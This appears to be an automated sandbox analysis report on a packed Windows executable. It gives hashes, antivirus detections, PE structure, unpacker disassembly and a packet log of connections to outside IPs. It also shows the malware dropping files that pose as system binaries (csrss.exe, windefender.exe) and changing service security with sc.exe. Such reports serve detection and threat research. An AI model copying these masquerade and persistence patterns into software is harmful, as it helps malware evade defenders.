Preview:	.2019-06-27 00:55:29, Info CBS TI: --- Initializing Trusted Installer ---..2019-06-27 00:55:29, Info CBS TI: Last boot time: 2019-06-27 00:49:51.660..2019-06-27 00:55:29, Info CBS Starting TrustedInstaller initialization...2019-06-27 00:55:29, Info CBS Lock: New lock added: CCbsPublicSessionClassFactory, level: 30, total lock:4..2019-06-27 00:55:29, Info CBS Lock: New lock added: CCbsPublicSessionClassFactory, level: 30, total lock:5..2019-06-27 00:55:29, Info CBS Lock: New lock added: WinlogonNotifyLock, level: 8, total lock:6..2019-06-27 00:55:29, Info CBS Ending TrustedInstaller initialization...2019-06-27 00:55:29, Info CBS Starting the TrustedInstaller main loop...2019-06-27 00:55:29, Info CBS TrustedInstaller service starts successfully...2019-06-27 00:55:29, Info CBS No startup pr

C:\Windows\rss\csrss.exe Download File
Process:	C:\Users\user\Desktop\upd.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	3788288
Entropy (8bit):	7.892618389779633
Encrypted:	false
SSDEEP:	98304:r1HRHgwXrMeyKVNrb6VryiHiJ+9fCU/3PLg:r1HvrZ9Vlfq1pN3
MD5:	3C3046F640F7825C720849AAA809C963
SHA1:	61AE00EC8041DE7826DECEB176C495AB23392EFB
SHA-256:	3993AA1A1CF9BA37316DB59A6EF67B15EF0F49FCD79CF2420989B9E4A19FFC2A
SHA-512:	64FCA2287D36195C66E11C62292D094ECF7374BCAF931D04AEA5A388F7F67D5588BAE14A79107E61D660E745A17D577D06A69C367408AC48C4A789317D2B2470
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 31%, Browse Antivirus: ReversingLabs, Detection: 86%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........$................9......0R. ....@R.......@.......................... ......................................................................................................................................................................UPX0.....0R.............................UPX1......9..@R...9.................@...UPX2..................9.............@...3.95.UPX!.......-..s.....9..&..&"....... Go build ID: "efKxbRE8zJFH9gxB....7pBf/JfqrRU>jpK8uMrff7Rq/6PoX...onZYEm2XfJCsywwk/P5vIQLaJH_zAA....twCM0QU". ...d...........;a.v ...."....D$...$...`..k..&.........\|.....f.......dnl.L$h......m..g$....4..$....,.....\H......1.1.TP....~..\|.\Z.;cpu.u.d,.T.@.....iT=........H9.............Y...?.............l.....0.9....lX..?(.\|$<).......!..}...$.T..$0............Z..\*f..on....m.......;5al..p7.......M..<W........L....A....9.}..w._.9.-8.9....5...p........

C:\Windows\windefender.exe Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	2102272
Entropy (8bit):	7.879347868736008
Encrypted:	false
SSDEEP:	49152:1+yuly+dcYwIx9qadRmAYBfo9hazz2Du5VDyn:1Cy+qa9qWmAYBQfazzpDy
MD5:	E0A50C60A85BFBB9ECF45BFF0239AAA3
SHA1:	AE0E12BC885CB5D4D26C49F6AE20ED40313EDF99
SHA-256:	FC8D064E05EBE37D661AECCB78F91085845E9E28CCFF1F9B08FD373830E38B7F
SHA-512:	03D1440B462B872B7AE4FCCBB455FC0C3AB4E9BF13D07726CE2A9FF9CE4A0E7632A45AF4B52265973D51C8C9D6E24CE84EF81FBAD23CDDF04B64F461FA55050D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........K............... ......p-...M...-...M...@...........................M...............................................M.....................................................................................................................UPX0.....p-.............................UPX1...... ...-... .................@...UPX2..........M....... .............@...3.95.UPX!....Y.P....dM... ...K.&'....... Go build ID: "8LgdNw10OMnjnEaf..o.ouob/F_u>d7bw5LzGyMt067q/f_4E....n-IIykrT4Xu-NukD/RUnzYH.IbGfj....1LuaRla". ...d...........;a.v ....'....D$...$...`..k..&...............f.......dnl.L$h......m..g$....4..$....,.....\H......1.1.TP....~..\|.\Z.;cpu.u.d,.T.@.....iT=........H9.............Y...?.............l.....0.9....lX..?(.\|$<).......!..}...$.T..$0............Z..\*f..on....m.......;5al..p7.......M..$.........L....A....9.}..w._.9.- .9....5...p........

\Device\Null Download File
Process:	C:\Windows\SysWOW64\sc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	39
Entropy (8bit):	3.964228182058903
Encrypted:	false
SSDEEP:	3:fxjRCqjv:ZMc
MD5:	2F1A2A9AA9E93E390CC54C36BDB0561B
SHA1:	BC13C3DAE9A3C2A7E45F08F2EF1BB14893078EC7
SHA-256:	706A0C615566BE5CC8D24596CD765A00BE7D5E036CA006DFBD8DE7BC6F7FA719
SHA-512:	4204246AF86876511D1748734BADD3008297EBBFD2E306BC00AED13BD5F5B2A946A0C5A72F3988429A5A4F09B2BFC4E2406D07E87A6F8FDD90309B2C9CCF97FF
Malicious:	false
Preview:	[SC] SetServiceObjectSecurity SUCCESS..

Static File Info

General
File type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Entropy (8bit):	7.878858503837156
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0NlSa5bf55.exe
File size:	2095616
MD5:	ee30d6928c9de84049aa055417cc767e
SHA1:	a2aec2076bdfa92e5cda03443bec7b6c3287b43a
SHA256:	0ab024b0da0436fddc99679a74a26fdcd9851eb00e88ff2998f001ccd0c9016f
SHA512:	dfc5ec66d2917378c5d24c29eeccde315723f45bb08005d723d76ad7c0521637f007c8277c0eaa3568de7d527a6a561b56363be84f72a0ee4c4ee957ee401667
SSDEEP:	49152:xxaU1ag6hb9cFsZYOvexqnKc6I0YwahWWSRy8cpripxC3pUojB:DwgSWF+5e6K54JMRcpmpxaD
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........>K............... .......-.@.M...-...M...@.......................... M............................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x8d0340
Entrypoint Section:	UPX1
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DEBUG_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	6ed4f5f04d62b18d96b26d6db7c18840

Entrypoint Preview

Instruction
pushad
mov esi, 006D1015h
lea edi, dword ptr [esi-002D0015h]
push edi
or ebp, FFFFFFFFh
jmp 00007F41549ACC82h
nop
nop
nop
nop
nop
nop
mov al, byte ptr [esi]
inc esi
mov byte ptr [edi], al
inc edi
add ebx, ebx
jne 00007F41549ACC79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F41549ACC5Fh
mov eax, 00000001h
add ebx, ebx
jne 00007F41549ACC79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
add ebx, ebx
jnc 00007F41549ACC7Dh
jne 00007F41549ACC9Ah
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F41549ACC91h
dec eax
add ebx, ebx
jne 00007F41549ACC79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc eax, eax
jmp 00007F41549ACC46h
add ebx, ebx
jne 00007F41549ACC79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
jmp 00007F41549ACCC4h
xor ecx, ecx
sub eax, 03h
jc 00007F41549ACC83h
shl eax, 08h
mov al, byte ptr [esi]
inc esi
xor eax, FFFFFFFFh
je 00007F41549ACCE7h
sar eax, 1
mov ebp, eax
jmp 00007F41549ACC7Dh
add ebx, ebx
jne 00007F41549ACC79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F41549ACC3Eh
inc ecx
add ebx, ebx
jne 00007F41549ACC79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jc 00007F41549ACC30h
add ebx, ebx
jne 00007F41549ACC79h
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jnc 00007F41549ACC61h
jne 00007F41549ACC7Bh
mov ebx, dword ptr [esi]
sub esi, FFFFFFFCh
adc ebx, ebx
jnc 00007F41549ACC56h
add ecx, 02h
cmp ebp, FFFFFB00h
adc ecx, 02h
lea edx, dword ptr [eax+eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4d1000	0x88	UPX2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
UPX0	0x1000	0x2d0000	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
UPX1	0x2d1000	0x200000	0x1ff600	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
UPX2	0x4d1000	0x1000	0x200	False	0.193359375	data	1.38215794943	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2021 13:12:36.557101011 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.557152033 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.557259083 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.558861971 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.558887005 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.610423088 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.610797882 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.610841990 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.612529993 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.612550974 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.614507914 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.614600897 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.618571997 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.618782997 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.618983984 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.619014978 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.668833017 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.672497988 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.672568083 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.672615051 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.676929951 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.676969051 CET	443	49749	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.677017927 CET	49749	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.714660883 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.714709997 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.714850903 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.717020988 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.717041969 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.757834911 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.758256912 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.758284092 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.759229898 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.759243011 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.760400057 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.760478020 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.763972998 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.764090061 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.764242887 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.764257908 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.820043087 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.820137024 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.822268963 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.822297096 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.822335958 CET	49750	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.822344065 CET	443	49750	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.861944914 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.861980915 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.862063885 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.864763975 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.864782095 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.908588886 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.909116030 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.909142017 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.910145998 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.910154104 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.911206007 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.911297083 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.915786028 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.915888071 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.916441917 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.916461945 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.976591110 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:36.976684093 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.976864100 CET	49751	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:36.976882935 CET	443	49751	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.010561943 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.010607004 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.010710955 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.012703896 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.012722015 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.055567980 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.056288958 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.056318998 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.057332993 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.057342052 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.059230089 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.059319973 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.063277960 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.063371897 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.063509941 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.063524008 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.110887051 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.113311052 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.113385916 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.113452911 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.114943981 CET	49752	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:37.114964008 CET	443	49752	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:37.273085117 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:37.273121119 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:37.273394108 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:37.274655104 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:37.274667025 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:37.342082977 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:37.342344046 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:37.342377901 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:37.343327999 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:37.343339920 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:37.344435930 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:37.344815016 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:37.347975969 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:37.348067999 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:37.348257065 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:37.348284006 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:37.396136999 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:38.950862885 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:38.951155901 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:38.951598883 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:38.951633930 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:38.951658964 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:38.951673985 CET	49753	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:12:38.951684952 CET	443	49753	172.67.139.144	192.168.2.3
Nov 4, 2021 13:12:38.979358912 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:38.996237040 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:38.996366024 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:38.997127056 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.013963938 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026179075 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026202917 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026215076 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026227951 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026241064 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026253939 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026269913 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026274920 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026282072 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026295900 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026313066 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026328087 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026331902 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026344061 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026360989 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026365995 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026376963 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026387930 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026402950 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026420116 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026436090 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026448965 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026452065 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026468039 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026472092 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026484966 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026499987 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026510000 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026516914 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026532888 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026545048 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026551008 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026562929 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026565075 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026575089 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026592016 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026593924 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026607990 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026623011 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026624918 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026640892 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026649952 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026655912 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026673079 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026681900 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026689053 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026704073 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026715994 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026731968 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026741028 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026747942 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026762962 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026778936 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026784897 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026794910 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026807070 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026809931 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026825905 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026837111 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026842117 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026854992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026870966 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026886940 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026897907 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026901960 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026920080 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.026938915 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.026963949 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.044800997 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.044826031 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.044882059 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.045042992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.045104980 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.045429945 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.045491934 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.045542002 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.045684099 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.045734882 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.045794964 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.045933962 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.045984030 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.045993090 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.046129942 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.046176910 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.046252966 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.046317101 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.046356916 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.046574116 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.046762943 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.046813965 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.046894073 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.046916008 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.046953917 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.046957970 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.046976089 CET	80	49754	104.21.92.165	192.168.2.3
